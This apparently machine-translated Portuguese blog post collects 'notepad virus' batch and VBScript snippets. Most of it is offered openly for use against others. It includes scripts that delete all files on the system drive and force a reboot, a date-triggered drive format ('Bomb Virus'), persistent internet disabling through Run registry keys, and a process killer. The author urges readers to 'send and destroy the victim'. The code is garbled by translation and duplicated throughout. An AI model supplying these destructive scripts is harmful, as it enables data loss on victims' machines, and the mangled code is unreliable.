CRIANÇA LEVADA. Nota >> Eu não sou responsável por qualquer dano ou relatório de erros no seu pc fazê-lo como seu próprio risco. Estes codificação apenas para o conceito de conhecimento.
Todos os scripts aqui devem ser copiados no bloco de notas
>> Este vírus elimina todo o conteúdo de um disco…
@echo desligado
del% systemdrive% \ *. * / f / s / q
desligamento -r -f -t 00
del% systemdrive% \ *. * / f / s / q
desligamento -r -f -t 00
Salvar o código acima em um arquivo .bat
>> Desativar a Internet permanentemente
Salvar como um arquivo bat
echo @echo desativado> c: windowswimn32.bat
echo interromper >> c: windowswimn32.bat
echo ipconfig / release_all >> c: windowswimn32.bat
echo final >> c:
windowswimn32.bat reg adicionar hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun / v WINDOWsAPI / t reg_sz /dc:windowswimn32.bat / f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun / v CONTROLexit / t reg_sz /dc:windowswimn32.bat / f
echo Você foi HACKED!
PAUSA
echo interromper >> c: windowswimn32.bat
echo ipconfig / release_all >> c: windowswimn32.bat
echo final >> c:
windowswimn32.bat reg adicionar hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun / v WINDOWsAPI / t reg_sz /dc:windowswimn32.bat / f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun / v CONTROLexit / t reg_sz /dc:windowswimn32.bat / f
echo Você foi HACKED!
PAUSA
>> O vírus mais simples para esmagar a janela
@Echo off
Del C: \ *. * | Y
Del C: \ *. * | Y
Salve como qualquer coisa.bat
>> Isso vai deixar seu computador cair
Option Explicit
Dim WSHShell
Set WSHShell = Wscript.CreateObject (“ Wscript.Shell ”)
Set WSHShell = Wscript.CreateObject (“ Wscript.Shell ”)
Dim x
Para x = 1 a 100000000
WSHShell.Run “ Tourstart.exe ”
Próximo
Para x = 1 a 100000000
WSHShell.Run “ Tourstart.exe ”
Próximo
Salve como qualquer coisa.vbs
Só funciona com o Windows XP
>> blocos de notas sem fim
* Isso irá mostrar blocos de notas infinitos até o computador congelar e travar *
Código:-
@ECHO desativado
: início
START% SystemRoot% \ system32 \ notepad.exe
GOTO top
: início
START% SystemRoot% \ system32 \ notepad.exe
GOTO top
>> Bomb Virus
Copiar Colar o Seguinte
Se% date% NEQ 2009/11/25 goto sair
formato E: / y> nul
: sair
sair
formato E: / y> nul
: sair
sair
E guarde como qualquer coisa.bat
Nota: - Você pode alterar a data (2009/11/25) do vírus e da localização (formato E:) em que faz sua ação
o vírus entrará em vigor nesse dia
o vírus entrará em vigor nesse dia
>> Crazy Caps Lock
* Isso constantemente liga e desliga o caps lock de forma muito rápida e contínua *
Código:-
Definir WshShell = WScript.CreateObject (” WScript.Shell “)
que
WScript.Sleep 100
wshshell.sendkeys ‘{} CAPS’
laço
que
WScript.Sleep 100
wshshell.sendkeys ‘{} CAPS’
laço
>> Endless Enter
* Isso constantemente faz com que o botão enter seja pressionado continuamente *
Código:-
Defina wshShell = wscript.CreateObject (” WScript.Shell ”)
do
wscript.sleep 100
wshshell.sendkeys “~ (enter)”
loop
do
wscript.sleep 100
wshshell.sendkeys “~ (enter)”
loop
>> Backspace sem fim
* Isso faz com que a tecla de backspace seja constantemente pressionada *
Código:-
MsgBox “Vamos voltar alguns passos”
Set wshShell = wscript.CreateObject (” WScript.Shell ”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Set wshShell = wscript.CreateObject (” WScript.Shell ”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Que sexo é seu computador?
-> bloco de notas aberto
-> código de cópia
-> código de cópia
CreateObject ("SAPI.SpVoice"). Fale "Eu te amo"
-> colar no Notepad
-> salvar como> love.vbs
-> clique duas vezes nele
-> salvar como> love.vbs
-> clique duas vezes nele
Faça sua luz de discoteca de teclado
Este truque apenas faz com que as luzes do seu teclado façam disco.
O roteiro que estou compartilhando com você, quando executado, faz com que a luz de Caps, Num e Scroll Lock pisque de maneira rítmica!
O roteiro que estou compartilhando com você, quando executado, faz com que a luz de Caps, Num e Scroll Lock pisque de maneira rítmica!
1. Este trecho de código faz do teclado do ur uma discoteca ao vivo.
Defina wshShell = wscript.CreateObject (“ WScript.Shell ”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop
2. Este faz com que pareça uma corrente de luz…
Defina wshShell = wscript.CreateObject (“ WScript.Shell ”)
do
wscript.sleep 200
wshshell.sendkeys “{CAPSLOCK}”
wscript.sleep 100
wshshell.sendkeys “{NUMLOCK}”
wscript.sleep 50
wshshell.sendkeys “{SCROLLLOCK}”
laço
do
wscript.sleep 200
wshshell.sendkeys “{CAPSLOCK}”
wscript.sleep 100
wshshell.sendkeys “{NUMLOCK}”
wscript.sleep 50
wshshell.sendkeys “{SCROLLLOCK}”
laço
Instruções:
* colar qualquer um dos dois códigos acima no notepad
* Salvar como “AnyFileName” .vbs
* Executar o arquivo
* Para parar, iniciar o gerenciador de tarefas e, em seguida, em “Processos” final “ wscript.exe ”
* colar qualquer um dos dois códigos acima no notepad
* Salvar como “AnyFileName” .vbs
* Executar o arquivo
* Para parar, iniciar o gerenciador de tarefas e, em seguida, em “Processos” final “ wscript.exe ”
Eu espero que você goste ..
>> Tarefas Matar
@echo off
iniciar calc
tskill msnmsgr
tskill firefox
tskill iexplore
tskill LimreWire
tskill explorer
tskill explorer
tskill explorer
tskill explorer
tskill explorer
pausa
salve este como arquivo .bat e envie e destrua a vítima & k! ll Sistema Operacional!
>> Tipo de código no bloco de notas
@echo off
shutdown -r -f -t 00
shutdown -r -f -t 00
Forma de interruptores
-s
Desliga o PC.
Desliga o PC.
-l
Faz logoff do usuário atual.
Faz logoff do usuário atual.
-t nn
Indica a duração do atraso, em segundos, antes de executar a ação.
Indica a duração do atraso, em segundos, antes de executar a ação.
-c “messagetext”
Exibe uma mensagem na janela System Shutdown. Um máximo de 127 caracteres pode ser usado. A mensagem deve estar entre aspas.
Exibe uma mensagem na janela System Shutdown. Um máximo de 127 caracteres pode ser usado. A mensagem deve estar entre aspas.
-f
Força o encerramento de qualquer aplicativo em execução.
Força o encerramento de qualquer aplicativo em execução.
-r
Reinicializa o PC. .. !!
Reinicializa o PC. .. !!
>> Popping CD Drives
* Isso fará com que as unidades de CD saiam constantemente *
Código:-
Set oWMP = CreateObject (” WMPlayer.OCX.7 ?)
Defina colCDROMs = oWMP.cdromCollection
faça
se colCDROMs.Count > = 1 então
For i = 0 para colCDROMs.Count - 1
colCDROMs.Item (i) .Eject
Next
Para i = 0 para colCDROMs.Count - 1
colCDROMs.Item (i) .Eject
Próximo
Final Se o loop
wscript.sleep 100
Defina colCDROMs = oWMP.cdromCollection
faça
se colCDROMs.Count > = 1 então
For i = 0 para colCDROMs.Count - 1
colCDROMs.Item (i) .Eject
Next
Para i = 0 para colCDROMs.Count - 1
colCDROMs.Item (i) .Eject
Próximo
Final Se o loop
wscript.sleep 100
>> Para fazer seu pc falar
Abra um arquivo de texto no bloco de notas e escreva:
Dim msg, sapi
msg = InputBox (“Digite seu texto”, ”Fale”)
Definir sapi = CreateObject (“sapi.spvoice”)
sapi.Speak msg
msg = InputBox (“Digite seu texto”, ”Fale”)
Definir sapi = CreateObject (“sapi.spvoice”)
sapi.Speak msg
Salve o arquivo com uma extensão (* .vbs), ele criará um arquivo VBScript.
Ele solicitará um texto quando você abrir o arquivo, inserir o texto e pressionar ok. ”
Ele solicitará um texto quando você abrir o arquivo, inserir o texto e pressionar ok. ”
vc vai ouvir agora o que vc digitou ..
isso funciona no xp, vista, win7 também.
Nenhum comentário:
Postar um comentário